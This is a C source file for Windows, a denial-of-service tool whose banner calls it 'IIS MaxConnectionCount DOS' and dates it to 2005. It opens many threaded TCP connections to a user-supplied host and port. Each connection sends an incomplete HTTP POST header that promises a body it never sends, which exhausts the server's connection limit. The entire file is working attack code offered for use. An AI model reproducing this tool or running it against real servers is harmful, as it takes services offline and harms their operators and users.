#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
 
int ThreadCount=0;
 
struct mydata
{
 char *ip;
 int port;
};
 
 
unsigned int resolve(char *name)
{
 struct hostent *he;
 unsigned int ip;
 
 if((ip=inet_addr(name))==(-1))
 {
 if((he=gethostbyname(name))==0)
 return 0;
 memcpy(&ip,he->h_addr,4);
 }
 return ip;
}
 
 
DWORD WINAPI Dos(LPVOID lpParam )
{
 mydata *csdn = (mydata*)lpParam;
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(csdn->port);
 server.sin_addr.s_addr = resolve((char*)csdn->ip);
 if(server.sin_addr.s_addr==0)
 {
 
 printf("Don't find address %s\n",(char*)csdn->ip);
 exit(0);
 }
 int my;
 char buf[100]="POST / HTTP/1.1\r\nHost: ";
 strcat(buf,(char*)csdn->ip);
 strcat(buf," \r\nContent-Length: 10\r\n\r\n");
 my=socket(PF_INET,SOCK_STREAM,0);
 if(my==INVALID_SOCKET)
 {
 printf("ERROR");
 exit(0);
 }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
 {
 printf("Socket ERROR:%d",GetLastError());
 exit(0);
 }
 if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
 ThreadCount--;
 return 0;
}
 
void thread ( char *a1 , char *a2 , char *a3 )
{
 static mydata tmp;
 tmp.ip = a1;
 tmp.port = atoi(a2);
 
 DWORD dwThreadId;
 HANDLE hThread;
 WSADATA ws;
 if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
 {
 printf(" [-] WSAStartup() error\n");
 exit(0);
 }
 
 hThread = CreateThread(
 NULL, // no security attributes
 0, // use default stack size
 Dos, // thread function
 &tmp, // argument to thread function
 0, // use default creation flags
 &dwThreadId); // returns the thread identifier
 if (hThread == NULL)
 printf( "CreateThread failed." );
 ThreadCount++;
 Sleep(200); //延时，否则CPU会用满……
 CloseHandle(hThread);
}
 
int main(int argc, char* argv[])
{
 int i=0;
 if(argc!=4)
 {
 printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");
 printf("-Usage:\n");
 printf("%s <TargetAddress> <port> <MaxConnectionCount>\n",argv[0]);
 printf("-Example: %s www.target.com 80 300\n",argv[0]);
 return 0;
 }
 printf("Starting DOS.............Ctrl + C break\n");
 while( i < atoi(argv[3]) )
 {
 if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
 }
 while( 1 ){ }
 WSACleanup();
 return 0;
}